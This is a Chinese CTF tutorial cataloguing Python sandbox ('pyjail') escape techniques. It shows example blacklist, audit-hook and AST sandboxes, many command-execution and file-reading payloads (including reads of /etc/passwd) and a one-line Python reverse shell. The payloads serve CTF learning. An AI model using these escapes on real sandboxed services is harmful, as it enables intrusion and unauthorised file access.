CTF Pyjail 沙箱逃逸原理合集

 

沙箱是一种安全机制,用于在受限制的环境中运行未信任的程序或代码。它的主要目的是防止这些程序或代码影响宿主系统或者访问非授权的数据。

在 Python 中,沙箱主要用于限制 Python 代码的能力,例如,阻止其访问文件系统、网络,或者限制其使用的系统资源。Python 沙箱的实现方式有多种,包括使用 Python 的内置功能(如re模块),使用特殊的 Python 解释器(如PyPy),或者使用第三方库(如RestrictedPython)。

然而,Python 并没有提供内建的、可靠的沙箱机制,并且 Python 的标准库和语言特性提供了很多可以用于逃逸沙箱的方法,因此在实践中创建一个完全安全的 Python 沙箱非常困难。例如,通过os模块访问文件系统,通过subprocess模块执行外部命令,或者通过import语句加载并执行任意 Python 代码。

常见沙箱

exec 执行

Python 的 exec() 是一个内建函数,用来执行动态生成的 Python 代码。也就是说,exec() 可以执行储存在字符串或对象中的 Python 代码。这是 exec() 的基本语法:

exec(object, globals, locals)
  • object 必需参数,是一个字符串,或者是任何可以被 compile() 函数转化为代码对象的对象。
  • globals 可选参数,是一个字典,表示全局命名空间 (全局变量),如果提供了,则在执行代码中被用作全局命名空间。
  • locals 可选参数,可以是任何映射对象,表示局部命名空间 (局部变量),如果被提供,则在执行代码中被用作局部命名空间。如果两者都被忽略,那么在 exec() 调用的地方决定执行的命名空间。

exec 还有另外一种写法:

exec command in _global

其中 _global 为一个字典, 表示 command 将在 _global 指定的命名空间中运行。

示例沙箱:

#!/usr/bin/env python2
# -*- coding:utf-8 -*-


def banner():
    print "============================================="
    print "   Simple calculator implemented by python   "
    print "============================================="
    return


def getexp():
    return raw_input(">>> ")


def _hook_import_(name, *args, **kwargs):
    module_blacklist = ['os', 'sys', 'time', 'bdb', 'bsddb', 'cgi',
                        'CGIHTTPServer', 'cgitb', 'compileall', 'ctypes', 'dircache',
                        'doctest', 'dumbdbm', 'filecmp', 'fileinput', 'ftplib', 'gzip',
                        'getopt', 'getpass', 'gettext', 'httplib', 'importlib', 'imputil',
                        'linecache', 'macpath', 'mailbox', 'mailcap', 'mhlib', 'mimetools',
                        'mimetypes', 'modulefinder', 'multiprocessing', 'netrc', 'new',
                        'optparse', 'pdb', 'pipes', 'pkgutil', 'platform', 'popen2', 'poplib',
                        'posix', 'posixfile', 'profile', 'pstats', 'pty', 'py_compile',
                        'pyclbr', 'pydoc', 'rexec', 'runpy', 'shlex', 'shutil', 'SimpleHTTPServer',
                        'SimpleXMLRPCServer', 'site', 'smtpd', 'socket', 'SocketServer',
                        'subprocess', 'sysconfig', 'tabnanny', 'tarfile', 'telnetlib',
                        'tempfile', 'Tix', 'trace', 'turtle', 'urllib', 'urllib2',
                        'user', 'uu', 'webbrowser', 'whichdb', 'zipfile', 'zipimport']
    for forbid in module_blacklist:
        if name == forbid:        # don't let user import these modules
            raise RuntimeError('No you can\' import {0}!!!'.format(forbid))
    # normal modules can be imported
    return __import__(name, *args, **kwargs)


def sandbox_filter(command):
    blacklist = ['exec', 'sh', '__getitem__', '__setitem__',
                 '=', 'open', 'read', 'sys', ';', 'os']
    for forbid in blacklist:
        if forbid in command:
            return 0
    return 1


def sandbox_exec(command):      # sandbox user input
    result = 0
    __sandboxed_builtins__ = dict(__builtins__.__dict__)
    __sandboxed_builtins__['__import__'] = _hook_import_    # hook import
    del __sandboxed_builtins__['open']
    _global = {
        '__builtins__': __sandboxed_builtins__
    }
    if sandbox_filter(command) == 0:
        print 'Malicious user input detected!!!'
        exit(0)
    command = 'result = ' + command
    try:
        exec command in _global     # do calculate in a sandboxed environment
    except Exception, e:
        print e
        return 0
    result = _global['result']  # extract the result
    return result


banner()
while 1:
    command = getexp()
    print sandbox_exec(command)

eval 执行

eval 的执行与 exec 基本一致,都可以对命名空间进行限制,例如下面的代码,在这个示例中就是直接将命名空间置空,这样就使得内置的函数都无法使用。

print(
    eval(input("code> "), 
         {"__builtins__": {}},
        {"__builtins__": {}}
        )
    )

eval 和 exec 之间也有区别。

eval 与 exec 的区别

eval 与 exec 的区别再于 exec 允许 \n 和 ; 进行换行,而 eval 不允许。并且 exec 不会将结果输出出来,而 eval 会。

exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
eval("__import__('os').system('ls')") #Eval doesn't allow ";"
eval(compile('print("hello world"); print("heyy")', '<stdin>', 'exec')) #This way eval accept ";"
__import__('timeit').timeit("__import__('os').system('ls')",number=1)
#One liners that allow new lines and tabs
eval(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))
exec(compile('def myFunc():\n\ta="hello word"\n\tprint(a)\nmyFunc()', '<stdin>', 'exec'))

如果加入了 compile 函数则需要按照 compile 函数的模式进行区分。

compile

compile() 函数是一个内置函数,它可以将源码编译为代码或 AST 对象。编译的源码可以是普通的 Python 代码,也可以是 AST 对象。如果它是一个普通的 Python 代码,那么它必须是一个字符串。如果它是一个 AST 对象,那么它将被编译为一个代码对象。

compile() 函数的基本语法如下:

compile(source, filename, mode, flags=0, dont_inherit=False, optimize=-1)
  • source:要编译的源代码。它可以是普通的 Python 代码,或者是一个 AST 对象。如果它是普通的 Python 代码,那么它必须是一个字符串。
  • filename:源代码的文件名。如果源代码没有来自文件,你可以传递一些可识别的值。
  • mode:源代码的种类。可以是 ‘exec’,’eval’ 或 ‘single’。’exec’ 用于模块、脚本或者命令行,’eval’ 用于简单的表达式,’single’ 用于单一的可执行语句。
  • flags 和 dont_inherit:这两个参数用于控制编译源代码时的标志和是否继承上下文。它们是可选的。
  • optimize:用于指定优化级别。默认值为 -1。

mode 参数决定了如何编译输入的源代码。具体来说,它有三个可能的值: ‘exec’,’eval’ 和 ‘single’。

  • ‘exec’: exec 方式就类似于直接使用 exec 方法,可以处理换行符,分号,import语句等。
  • ‘eval’: eval 方式也就类似于直接使用 eval,只能处理简单的表达式,不支持换行、分号、import 语句
  • ‘single’:这个模式类似于 ‘exec’,但是它只用于执行单个语句(可以在语句中添加换行符等)。

基于 audit hook 的沙箱

Python 3.8 中引入的一种 audit hook 的新特性。审计钩子可以用来监控和记录 Python 程序在运行时的行为,特别是那些安全敏感的行为,如文件的读写、网络通信和动态代码的执行等。

sys.addaudithook(hook) 的参数 hook 是一个函数,它的定义形式为 hook(event: str, args: tuple)。其中,event 是一个描述事件名称的字符串,args 是一个包含了与该事件相关的参数的元组。

一旦一个审计钩子被添加,那么在解释器运行时,每当发生一个与安全相关的事件,就会调用该审计钩子函数。event 参数会包含事件的描述,args 参数则包含了事件的相关信息。这样,审计钩子就可以根据这些信息进行审计记录或者对某些事件进行阻止。

注意,由于 sys.addaudithook() 主要是用于增加审计和安全性,一旦一个审计钩子被添加,它不能被移除。这是为了防止恶意代码移除审计钩子以逃避审计。

举例来说,我们可以定义这样的一个审计钩子,使得每次触发 open 事件都会打印一条消息:

import sys

def audit_hook(event, args):
    if event == 'open':
        print(f'Opening file: {args}')

sys.addaudithook(audit_hook)

然后,如果运行 open('myfile.txt'),就会得到 Opening file: ('myfile.txt',) 这样的输出。

在一些沙箱的题目中也会使用这种方式,例如:

    ...
def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))
    ...
    sys.addaudithook(my_audit_hook)
if __name__ == '__main__':
    main()

这个沙箱对'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen' 这些函数进行了限制,一旦调用则抛出异常.

黑名单

上面的示例就是一个黑名单:

    ...
def my_audit_hook(event, _):
    BALCKED_EVENTS = set({'pty.spawn', 'os.system', 'os.exec', 'os.posix_spawn','os.spawn','subprocess.Popen'})
    if event in BALCKED_EVENTS:
        raise RuntimeError('Operation banned: {}'.format(event))
    ...
    sys.addaudithook(my_audit_hook)
if __name__ == '__main__':
    main()

白名单

白名单比黑名单的限制更大,下面的沙箱只允许 input exec compile 等函数的调用.

...
def my_audit_hook(my_event, _):
    WHITED_EVENTS = set({'builtins.input', 'builtins.input/result', 'exec', 'compile'})
    if my_event not in WHITED_EVENTS:
        raise RuntimeError('Operation not permitted: {}'.format(my_event))
    ...
if __name__ == "__main__":
    sys.addaudithook(my_audit_hook)
    main()

一般的 payload 无法使用:

> __import__('ctypes').CDLL(None).system('ls /'.encode())
Operation not permitted: import
> [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")
Operation not permitted: os.system

基于 AST 的沙箱

Python 的抽象语法树(AST,Abstract Syntax Tree)是一种用来表示 Python 源代码的树状结构。在这个树状结构中,每个节点都代表源代码中的一种结构,如一个函数调用、一个操作符、一个变量等。Python 的 ast 模块提供了一种机制来解析 Python 源代码并生成这样的抽象语法树。 下面是Python ast模块的一些常见节点类型:

  • ast.Module: 表示一个整个的模块或者脚本。
  • ast.FunctionDef: 表示一个函数定义。
  • ast.AsyncFunctionDef: 表示一个异步函数定义。
  • ast.ClassDef: 表示一个类定义。
  • ast.Return: 表示一个return语句。
  • ast.Delete: 表示一个del语句。
  • ast.Assign: 表示一个赋值语句。
  • ast.AugAssign: 表示一个增量赋值语句,如x += 1
  • ast.For: 表示一个for循环。
  • ast.While: 表示一个while循环。
  • ast.If: 表示一个if语句。
  • ast.With: 表示一个with语句。
  • ast.Raise: 表示一个raise语句。
  • ast.Try: 表示一个try/except语句。
  • ast.Import: 表示一个import语句。
  • ast.ImportFrom: 表示一个from…import…语句。
  • ast.Expr: 表示一个表达式。
  • ast.Call: 表示一个函数调用。
  • ast.Name: 表示一个变量名。
  • ast.Attribute: 表示一个属性引用,如x.y

以上列举的只是ast模块中一部分的节点类型,还有很多其他类型的节点。更详细的列表可以在Python官方文档的ast模块部分找到。

一些 CTF 题目就采用了检查 AST 节点构建沙箱, 下面是一个示例. 在这个示例中, verify_secure 函数对 compile 之后的代码进行校验, 禁止 ast.Import|ast.ImportFrom|ast.Call 这三类操作, 这样一来就无法导入模块和执行函数.

import ast
import sys
import os

def verify_secure(m):
  for x in ast.walk(m):
    match type(x):
      case (ast.Import|ast.ImportFrom|ast.Call):
        print(f"ERROR: Banned statement {x}")
        return False
  return True

abspath = os.path.abspath(__file__)
dname = os.path.dirname(abspath)
os.chdir(dname)

print("-- Please enter code (last line must contain only --END)")
source_code = ""
while True:
  line = sys.stdin.readline()
  if line.startswith("--END"):
    break
  source_code += line

tree = compile(source_code, "input.py", 'exec', flags=ast.PyCF_ONLY_AST)
if verify_secure(tree):  # Safe to execute!
  print("-- Executing safe code:")
  compiled = compile(source_code, "input.py", 'exec')
  exec(compiled)

逃逸目标

了解沙箱逃逸的目标才能有的放矢,沙箱逃逸的目标是执行 shell 、读写文件或者获取环境信息如环境变量等.

命令执行

timeit 模块

import timeit
timeit.timeit("__import__('os').system('ls')",number=1)

exec 函数

exec('__import__("os").system("ls")')

eval 函数

eval('__import__("os").system("ls")')

eval 无法直接达到执行多行代码的效果,使用 compile 函数并传入 exec 模式就能够实现。

eval(compile('__import__("os").system("ls")', '<string>', 'exec'))

platform 模块

import platform
platform.sys.modules['os'].system('ls')
platform.os.system('ls')

os模块

  • os.system
  • os.popen
  • os.posix_spawn
  • os.exec*
  • os.spawnv
import os
os.system('ls')
__import__('os').system('ls')

os.popen("ls").read()

os.posix_spawn("/bin/ls", ["/bin/ls", "-l"], os.environ)

os.posix_spawn("/bin/bash", ["/bin/bash"], os.environ)

os.spawnv(0,"/bin/ls", ["/bin/ls", "-l"])

os.exec*()

import os

# os.execl
os.execl('/bin/sh', 'xx')
__import__('os').execl('/bin/sh', 'xx')

# os.execle
os.execle('/bin/sh', 'xx', os.environ)
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)

# os.execlp
os.execlp('sh', 'xx')
__import__('os').execle('/bin/sh', 'xx', __import__('os').environ)

# os.execlpe
os.execlpe('sh', 'xx', os.environ)
__import__('os').execlpe('sh', 'xx', __import__('os').environ)

# os.execv
os.execv('/bin/sh', ['xx'])
__import__('os').execv('/bin/sh', ['xx'])

# os.execve
os.execve('/bin/sh', ['xx'], os.environ)
__import__('os').execve('/bin/sh', ['xx'], __import__('os').environ)

# os.execvp
os.execvp('sh', ['xx'])
__import__('os').execvp('sh', ['xx'])

# os.execvpe
os.execvpe('sh', ['xx'], os.environ)
__import__('os').execvpe('sh', ['xx'], __import__('os').environ)

os.fork() with os.exec*()

(__import__('os').fork() == 0) and __import__('os').system('ls')

subprocess 模块

import subprocess
subprocess.Popen('ls', shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT).stdout.read()

# python2
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)

# python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')
subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
__import__('subprocess').Popen('whoami', shell=True)

pty模块

  • pty.spawn

仅限Linux环境

import pty
pty.spawn("ls")
__import__('pty').spawn("ls")

importlib 模块

import importlib
__import__('importlib').import_module('os').system('ls')
# Python3可以,Python2没有该函数
importlib.__import__('os').system('ls')

sys

该模块通过 modules() 函数获取 os 模块并执行命令。

import sys
sys.modules['os'].system('calc')

__builtins__ 利用

__builtins__: 是一个 builtins 模块的一个引用,其中包含 Python 的内置名称。这个模块自动在所有模块的全局命名空间中导入。当然我们也可以使用 import builtins 来导入

它包含许多基本函数(如 print、len 等)和基本类(如 object、int、list 等)。这就是可以在 Python 脚本中直接使用 print、len 等函数,而无需导入任何模块的原因。

我们可以使用 dir() 查看当前模块的属性列表. 其中就可以看到 __builtins__

内置的函数中 open 与文件操作相关,(python2 中为 file 函数)

__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

__builtins__除了读取文件之外还可以通过调用其 __import__ 属性来引入别的模块执行命令。

>>> __builtins__.__import__
<built-in function __import__>
>>> __builtins__.__import__('os').system('ls')

由于每个导入的模块都会留存一个 __builtins__ 属性,因此我们可以在任意的模块中通过__builtins__来引入模块或者执行文件操作。需要注意的是,__builtins__在模块级别和全局级别的表现有所不同。

在全局级别(也就是你在Python交互式解释器中直接查看__builtins__时),__builtins__实际上是一个模块<module '__builtin__' (built-in)>

在模块级别(也就是你在一个Python脚本中查看__builtins__),__builtins__是一个字典,这个字典包含了__builtin__模块中所有的函数和类。

因此,当通过其他模块的 __builtins__时,如__import__('types').__builtins__时,实际上看到的是一个字典,包含了所有的内建函数和类。此时调用的方式有所变化。

>>> __import__('types').__builtins__['__import__']
<built-in function __import__>

help 函数

help 函数可以打开帮助文档. 索引到 os 模块之后可以打开 sh

以下面的环境为例

eval((__import__("re").sub(r'[a-z0-9]','',input("code > ").lower()))[:130])

当我们输入 help 时,注意要进行 unicode 编码,help 函数会打开帮助

𝘩𝘦𝘭𝘱()

然后输入 os,此时会进入 os 的帮助文档。

help> os

然后在输入 !sh 就可以拿到 /bin/sh, 输入 !bash 则可以拿到 /bin/bash

help> os
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt
$ 

breakpoint 函数

pdb 模块定义了一个交互式源代码调试器,用于 Python 程序。它支持在源码行间设置(有条件的)断点和单步执行,检视堆栈帧,列出源码列表,以及在任何堆栈帧的上下文中运行任意 Python 代码。它还支持事后调试,可以在程序控制下调用。

在输入 breakpoint() 后可以代开 Pdb 代码调试器,在其中就可以执行任意 python 代码

>>> 𝘣𝘳𝘦𝘢𝘬𝘱𝘰𝘪𝘯𝘵()
--Return--
> <stdin>(1)<module>()->None
(Pdb) __import__('os').system('ls')
a-z0-9.py  exp2.py  exp.py  flag.txt
0
(Pdb) __import__('os').system('sh')
$ ls
a-z0-9.py  exp2.py  exp.py  flag.txt

ctypes

import ctypes

libc = ctypes.CDLL(None)
libc.system('ls ./'.encode())  # 使用 encode() 方法将字符串转换为字节字符串

沙箱中可以这么用:

__import__('ctypes').CDLL(None).system('ls /'.encode())

threading

利用新的线程来执行函数

import threading
import os

def func():
    os.system('ls')  # 在新的线程中执行命令

t = threading.Thread(target=func)  # 创建一个新的线程
t.start()  # 开始执行新的线程

写成一行:

# eval, exec 都可以执行的版本
__import__('threading').Thread(target=lambda: __import__('os').system('ls')).start() 

# exec 可执行
import threading, os; threading.Thread(target=lambda: os.system('ls')).start()

multiprocessing

import multiprocessing
import os

def func():
    os.system('ls') 

p = multiprocessing.Process(target=func) 
p.start()
__import__('multiprocessing').Process(target=lambda: __import__('os').system('ls')).start()

_posixsubprocess

import os
import _posixsubprocess

_posixsubprocess.fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)

结合 __loader__.load_module(fullname) 导入模块

__loader__.load_module('_posixsubprocess').fork_exec([b"/bin/cat","/etc/passwd"], [b"/bin/cat"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(__loader__.load_module('os').pipe()), False, False,False, None, None, None, -1, None, False)

反弹 shell

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",12345));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")
s=__import__('socket').socket(__import__('socket').AF_INET,__import__('socket').SOCK_STREAM);s.connect(("127.0.0.1",12345));[__import__('os').dup2(s.fileno(),i) for i in range(3)];__import__('pty').spawn("/bin/sh")

构造代码对象进行 RCE

CodeType 是 python 的内置类型之一,用于表示编译后的字节码对象。CodeType 对象包含了函数、方法或模块的字节码指令序列以及与之相关的属性。

python 中关于 code class 的文档链接:

CodeType 对象具有以下属性:

  • co_argcount: 函数的参数数量,不包括可变参数和关键字参数。
  • co_cellvars: 函数内部使用的闭包变量的名称列表。
  • co_code: 函数的字节码指令序列,以二进制形式表示。
  • co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。
  • co_exceptiontable: 异常处理表,用于描述函数中的异常处理。
  • co_filename: 函数所在的文件名。
  • co_firstlineno: 函数定义的第一行所在的行号。
  • co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。
  • co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。
  • co_kwonlyargcount: 函数的关键字参数数量。
  • co_lines: 函数的源代码行列表。
  • co_linetable: 函数的行号和字节码指令索引之间的映射表。
  • co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。
  • co_name: 函数的名称。
  • co_names: 函数中使用的全局变量的名称列表。
  • co_nlocals: 函数中局部变量的数量。
  • co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。
  • co_posonlyargcount: 函数的仅位置参数数量。
  • co_qualname: 函数的限定名称,包含了函数所在的模块和类名。
  • co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。
  • co_varnames: 函数中局部变量的名称列表。

假设存在如下的一个函数.

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    def calc_flag(flag_rot2):
        return ''.join(chr(ord(c)-2) for c in flag_rot2)
    if some_input == var2:
        return calc_flag("VjkuKuVjgHnci")
    else:
        return "Nope"

我们可以通过 get_flag.__code__ 获取其代码对象. 代码对象包含了关于代码的所有信息, 例如 co_code 属性存储了字节码信息, 因此修改这个字节码就可以达到修改函数执行的目的, 但需要注意的是,python 可以将某个函数的 __code__ 对象整个进行修改。仅仅修改其中的子属性是不行的。如下所示, python 会抛出异常.

>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03d\x05\x84\x00}\x04|\x00|\x02k\x02\x00\x00\x00\x00r\x0b\x02\x00|\x04d\x06\xa6\x01\x00\x00\xab\x01\x00\x00\x00\x00\x00\x00\x00\x00S\x00d\x07S\x00'
>>> get_flag.__code__.co_code = 1
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
AttributeError: attribute 'co_code' of 'code' objects is not writable

这种情况下,我们需要构造一个新的代码对象并主动执行.具体步骤如下:

  1. 第一步,本地构造 payload
     def read():
         return print(open("/etc/passwd",'r').read())
    
  2. 获取创建代码对象所需的参数, 通过 help 或者 __doc__ 属性进行获取, 不同的版本有所差异, 我在本地测试时版本为 python 3.11.2,此时 code 需要传入 17 个参数,且不支持关键字传递。
     >>>> import types
     >>> help(types.CodeType)
     code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars=(), cellvars=(), /)
    
  3. 参数赋值。获取到所需的参数之后,我们可以将这些参数先保存在变量中。
     code = read.__code__
    
     argcount = code.co_argcount
     posonlyargcount = code.co_posonlyargcount
     kwonlyargcount = code.co_kwonlyargcount
     nlocals = code.co_nlocals
     stacksize = code.co_stacksize
     flags = code.co_flags
     codestring = code.co_code
     constants = code.co_consts
     names = code.co_names
     varnames = code.co_varnames
     filename = code.co_filename
     name = code.co_name
     qualname = code.co_qualname
     firstlineno = code.co_firstlineno
     linetable = code.co_linetable
     exceptiontable = code.co_exceptiontable
     freevars = code.co_freevars
     cellvars = code.co_cellvars
    
  4. 创建代码对象。创建代码对象需要调用 types.CodeType。
    import types
    codeobj = types.CodeType(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars, cellvars)
    

    也可以使用 builtins 中的 type 函数获取到这个类

    code_type = type((lambda: None).__code__)
    
  5. 调用函数。从代码对象进行调用需要创建一个函数对象, 获取这个类可以使用 type 函数,或者直接 import
    function_type = type(lambda: None)
    

    创建函数对象所需的参数如下,可以通过 help 函数查看

    function(code, globals, name=None, argdefs=None, closure=None)
    

    一般情况下只需要前两个参数即可:

    mydict = {}
    mydict['__builtins__'] = __builtins__
    function_type(codeobj, mydict, None, None, None)()
    
  6. 调用函数也可以直接使用 eval 或者 exec
    eval(codeobj)
    

完整代码如下:

def read():
        return print(open("/etc/passwd",'r').read())

function_type = type(lambda: None)
code_type = type((lambda: None).__code__)

code = read.__code__

argcount = code.co_argcount
posonlyargcount = code.co_posonlyargcount
kwonlyargcount = code.co_kwonlyargcount
nlocals = code.co_nlocals
stacksize = code.co_stacksize
flags = code.co_flags
codestring = code.co_code
constants = code.co_consts
names = code.co_names
varnames = code.co_varnames
filename = code.co_filename
name = code.co_name
qualname = code.co_qualname
firstlineno = code.co_firstlineno
linetable = code.co_linetable
exceptiontable = code.co_exceptiontable
freevars = code.co_freevars
cellvars = code.co_cellvars


mydict = {}
mydict['__builtins__'] = __builtins__

codeobj = code_type(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars, cellvars)
# code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize, flags, codestring, constants, names, varnames, filename, name, qualname, firstlineno, linetable, exceptiontable, freevars=(), cellvars=(),/)

# function_type(codeobj, mydict, None, None, None)()
eval(codeobj)

最终可以成功读取 /etc/passwd

迭代器

读写文件

file 类

# Python2 
file('test.txt').read()
#注意:该函数只存在于Python2,Python3不存在

open 函数

open('/etc/passwd').read()
__builtins__.open('/etc/passwd').read()
__import__("builtins").open('/etc/passwd').read()

codecs 模块

import codecs
codecs.open('test.txt').read()

get_data 函数

FileLoader 类

# _frozen_importlib_external.FileLoader.get_data(0,<filename>)
"".__class__.__bases__[0].__subclasses__()[91].get_data(0,"app.py")

相比于获取 __builtins__ 再使用 open 去进行读取,使用 get_data 的 payload 更短.

linecache 模块

getlines 函数

>>> import linecache
>>> linecache.getlines('/etc/passwd')
>>> __import__("linecache").getlines('/etc/passwd')

getline 函数需要第二个参数指定行号

__import__("linecache").getline('/etc/passwd',1)

license 函数

__builtins__.__dict__["license"]._Printer__filenames=["/etc/passwd"]
a = __builtins__.help
a.__class__.__enter__ = __builtins__.__dict__["license"]
a.__class__.__exit__ = lambda self, *args: None
with (a as b):
    pass

枚举目录

os 模块

import os
os.listdir("/")

__import__('os').listdir('/')

glob 模块

import glob
glob.glob("f*")

__import__('glob').glob("f*")

获取函数信息

python 中的每一个函数对象都有一个 __code__ 属性.这个__code__ 属性就是上面的代码对象,存放了大量有关于该函数的信息.

假设上下文存在一个函数

def get_flag(some_input):
    var1=1
    var2="secretcode"
    var3=["some","array"]
    if some_input == var2:
        return "THIS-IS-THE-FALG!"
    else:
        return "Nope"

__code__ 属性包含了诸多子属性,这些子属性用于描述函数的字节码对象,下面是对这些属性的解释:

  • co_argcount: 函数的参数数量,不包括可变参数和关键字参数。
  • co_cellvars: 函数内部使用的闭包变量的名称列表。
  • co_code: 函数的字节码指令序列,以二进制形式表示。
  • co_consts: 函数中使用的常量的元组,包括整数、浮点数、字符串等。
  • co_exceptiontable: 异常处理表,用于描述函数中的异常处理。
  • co_filename: 函数所在的文件名。
  • co_firstlineno: 函数定义的第一行所在的行号。
  • co_flags: 函数的标志位,表示函数的属性和特征,如是否有默认参数、是否是生成器函数等。
  • co_freevars: 函数中使用的自由变量的名称列表,自由变量是在函数外部定义但在函数内部被引用的变量。
  • co_kwonlyargcount: 函数的关键字参数数量。
  • co_lines: 函数的源代码行列表。
  • co_linetable: 函数的行号和字节码指令索引之间的映射表。
  • co_lnotab: 表示行号和字节码指令索引之间的映射关系的字符串。
  • co_name: 函数的名称。
  • co_names: 函数中使用的全局变量的名称列表。
  • co_nlocals: 函数中局部变量的数量。
  • co_positions: 函数中与位置相关的变量(比如闭包中的自由变量)的名称列表。
  • co_posonlyargcount: 函数的仅位置参数数量。
  • co_qualname: 函数的限定名称,包含了函数所在的模块和类名。
  • co_stacksize: 函数的堆栈大小,表示函数执行时所需的堆栈空间。
  • co_varnames: 函数中局部变量的名称列表。

下面是一些使用示例:

获取源代码中的常量

可以使用 __code__.co_consts 这种方法进行获取, co_consts 可以获取常量.

>>> get_flag.__code__.co_consts
(None, 1, 'secretcode', 'some', 'array', 'THIS-IS-THE-FALG!', 'Nope')

获取变量

则可以使用如下的 payload 获取 get_flag 函数中的变量信息

__globals__

get_flag.__globals__

>>> get_flag.__code__.co_varnames
('some_input', 'var1', 'var2', 'var3')

获取函数字节码序列

get_flag 函数的 .__code__.co_code, 可以获取到函数的字节码序列:

>>> get_flag.__code__.co_code
b'\x97\x00d\x01}\x01d\x02}\x02d\x03d\x04g\x02}\x03|\x00|\x02k\x02\x00\x00\x00\x00r\x02d\x05S\x00d\x06S\x00'

字节码并不包含源代码的完整信息,如变量名、注释等。但可以使用 dis 模块来反汇编字节码并获取大致的源代码.

>>> bytecode = get_flag.__code__.co_code
>>> dis.dis(bytecode)
          0 RESUME                   0
          2 LOAD_CONST               1
          4 STORE_FAST               1
          6 LOAD_CONST               2
          8 STORE_FAST               2
         10 LOAD_CONST               3
         12 LOAD_CONST               4
         14 BUILD_LIST               2
         16 STORE_FAST               3
         18 LOAD_FAST                0
         20 LOAD_FAST                2
         22 COMPARE_OP               2 (==)
         28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)
         30 LOAD_CONST               5
         32 RETURN_VALUE
    >>   34 LOAD_CONST               6
         36 RETURN_VALUE

虽然能获取但不太方便看,如果能够获取 __code__ 对象,也可以通过 dis.disassemble 获取更清晰的表示.

>>> bytecode = get_flag.__code__
>>> dis.disassemble(bytecode)
  1           0 RESUME                   0

  2           2 LOAD_CONST               1 (1)
              4 STORE_FAST               1 (var1)

  3           6 LOAD_CONST               2 ('secretcode')
              8 STORE_FAST               2 (var2)

  4          10 LOAD_CONST               3 ('some')
             12 LOAD_CONST               4 ('array')
             14 BUILD_LIST               2
             16 STORE_FAST               3 (var3)

  5          18 LOAD_FAST                0 (some_input)
             20 LOAD_FAST                2 (var2)
             22 COMPARE_OP               2 (==)
             28 POP_JUMP_FORWARD_IF_FALSE     2 (to 34)

  6          30 LOAD_CONST               5 ('THIS-IS-THE-FALG!')
             32 RETURN_VALUE

  8     >>   34 LOAD_CONST               6 ('Nope')
             36 RETURN_VALUE

获取环境信息

获取 python 版本

sys 模块

import sys
sys.version

platform 模块

import platform
platform.python_version()

获取 linux 版本

platform 模块

import platform
platform.uname()

获取路径

sys.path
sys.modules

获取全局变量

globals 函数

globals 函数可以获取所有的全局变量。下面是一个例题,题目的目标就是获取 fake_key_var_in_the_local_but_real_in_the_remote 的值进入 backdoor 函数。这里使用 globals 就可以获取 fake_key_var_in_the_local_but_real_in_the_remote 的值。

#it seems have a backdoor
#can u find the key of it and use the backdoor

fake_key_var_in_the_local_but_real_in_the_remote = "[DELETED]"

def func():
    code = input(">")
    if(len(code)>9):
        return print("you're hacker!")
    try:
        print(eval(code))
    except:
        pass

def backdoor():
    print("Please enter the admin key")
    key = input(">")
    if(key == fake_key_var_in_the_local_but_real_in_the_remote):
        code = input(">")
        try:
            print(eval(code))
        except:
            pass
    else:
        print("Nooo!!!!")

WELCOME = '''
  _       _          _       _          _       _        
 | |     | |        | |     | |        | |     | |       
 | | __ _| | _____  | | __ _| | _____  | | __ _| | _____ 
 | |/ _` | |/ / _ \ | |/ _` | |/ / _ \ | |/ _` | |/ / _ \
 | | (_| |   <  __/ | | (_| |   <  __/ | | (_| |   <  __/
 |_|\__,_|_|\_\___| |_|\__,_|_|\_\___| |_|\__,_|_|\_\___|                                                                                                                                                                     
'''

print(WELCOME)

print("Now the program has two functions")
print("can you use dockerdoor")
print("1.func")
print("2.backdoor")
input_data = input("> ")
if(input_data == "1"):
    func()
    exit(0)
elif(input_data == "2"):
    backdoor()
